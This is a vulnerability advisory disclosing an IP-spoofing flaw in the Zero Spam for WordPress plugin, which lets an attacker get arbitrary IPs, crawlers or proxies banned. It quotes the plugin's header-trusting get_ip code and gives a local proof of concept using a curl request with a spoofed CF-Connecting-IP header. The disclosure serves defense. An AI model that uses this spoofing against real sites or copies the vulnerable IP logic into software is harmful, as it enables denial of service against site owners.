DOS through IP spoofing – (Zero Spam for WordPress <= 5.4.1

Affected pluginZero Spam for WordPress
Active installs30,000+
Vulnerable version<= 5.4.1
Audited version5.4.1
Fully patched versionPENDING
Recommended remediationPENDING

Description


An attacker can spoof his IP while submitting spam comments to ban arbitrary IPs, search-engine crawlers, or the site’s reverse proxy.

Proof of concept


The plugin retrieves the current request’s IP with the User::get_ip method.

class User {
   /**
    * Gets the current user's IP.
    */
   public static function get_ip() {
      $settings = Settings::get_settings();
      $ip       = false;
      // Check if a debugging IP is enabled.
      if ( ! empty( $_SERVER['HTTP_CF_CONNECTING_IP'] ) ) {
         // Check against Cloudflare's reported IP address.
         $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CF_CONNECTING_IP'] ) );
      } else {
         // Handle all other IPs.
         if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
            $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_CLIENT_IP'] ) );
         } elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
            $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED_FOR'] ) );
         } elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED'] ) ) {
            $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_FORWARDED'] ) );
         } elseif ( ! empty( $_SERVER['HTTP_FORWARDED_FOR'] ) ) {
            $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_FORWARDED_FOR'] ) );
         } elseif ( ! empty( $_SERVER['HTTP_FORWARDED'] ) ) {
            $ip = sanitize_text_field( wp_unslash( $_SERVER['HTTP_FORWARDED'] ) );
         } elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
            $ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ) );
         }
      }
      if ( $ip ) {
         $ip = explode( ',', $ip );
         $ip = trim( $ip[0] );
         if ( ! rest_is_ip_address( $ip ) ) {
            $ip = false;
         }
      }
      return apply_filters( 'zerospam_get_ip', $ip );
   }
}

This method is wide open to IP spoofing for all the reasons already described here.

To verify, create the following must-use plugin on a local WordPress installation.

<?php
declare(strict_types=1);

// wp-content/mu-plugins/ip.php

use ZeroSpam\Core\User;

$real_user_ip = '147.93.33.75';
$_SERVER['REMOTE_ADDR'] = $real_user_ip;

if(!isset($_SERVER['HTTP_TEST_IP'])) {
    return;
}

add_action('wp_loaded', function () {
    echo User::get_ip();
    echo "\n";
    die();
});

Then run the following command:

curl -X GET https://local.test -H "Test-IP: 1" -H "CF-Connecting-IP: 66.249.66.1"

==> Output: 66.249.66.1, We spoofed one of the IPs that Google’s crawler uses.

Proposed patch


The needed patch is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.

Timeline


Vendor contactedSeptember 13, 2022
First ResponsePENDING
Fully patched atPENDING
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *